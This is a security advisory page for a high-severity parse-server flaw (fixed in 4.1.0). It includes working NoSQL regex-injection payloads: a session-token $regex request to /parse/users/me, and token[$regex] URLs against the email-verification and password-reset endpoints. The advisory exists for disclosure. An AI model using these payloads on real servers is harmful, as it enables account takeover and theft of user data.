GHSA-h4mf-75hf-67w4

Suggest an improvement
Source
https://github.com/advisories/GHSA-h4mf-75hf-67w4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/03/GHSA-h4mf-75hf-67w4/GHSA-h4mf-75hf-67w4.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-h4mf-75hf-67w4
Aliases
Related
Published
2020-03-04T20:20:27Z
Modified
2026-01-30T02:25:54.707988Z
Severity
  • 7.7 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N CVSS Calculator
Summary
Information disclosure in parse-server
Details
  1. you can fetch all the users' objects, by using regex in the NoSQL query. Using the NoSQL, you can use a regex on sessionToken ("_SessionToken":{"$regex":"r:027f"}} and find valid accounts this way.

Using this method, it's possible to retrieve accounts without interaction from the users.

GET /parse/users/me HTTP/1.1

{
  "_ApplicationId": "appName",
  "_JavaScriptKey": "javascriptkey",
  "_ClientVersion": "js2.10.0",
  "_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
  "_SessionToken": {
    "$regex": "r:5"
  }
}

When trying it with an update query the same thing luckily doesn't seem to work: POST /parse/classes/_User/PPNk59jPPZ

  1. There is another similar vulnerability in verify email and the request password reset.

If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com

The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com

You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.

Database specific
{
    "github_reviewed_at": "2020-03-04T19:54:37Z",
    "severity": "HIGH",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-200",
        "CWE-285"
    ],
    "nvd_published_at": null
}
References

Affected packages

npm / parse-server

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.1.0

Database specific

last_known_affected_version_range
"<= 4.0.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/03/GHSA-h4mf-75hf-67w4/GHSA-h4mf-75hf-67w4.json"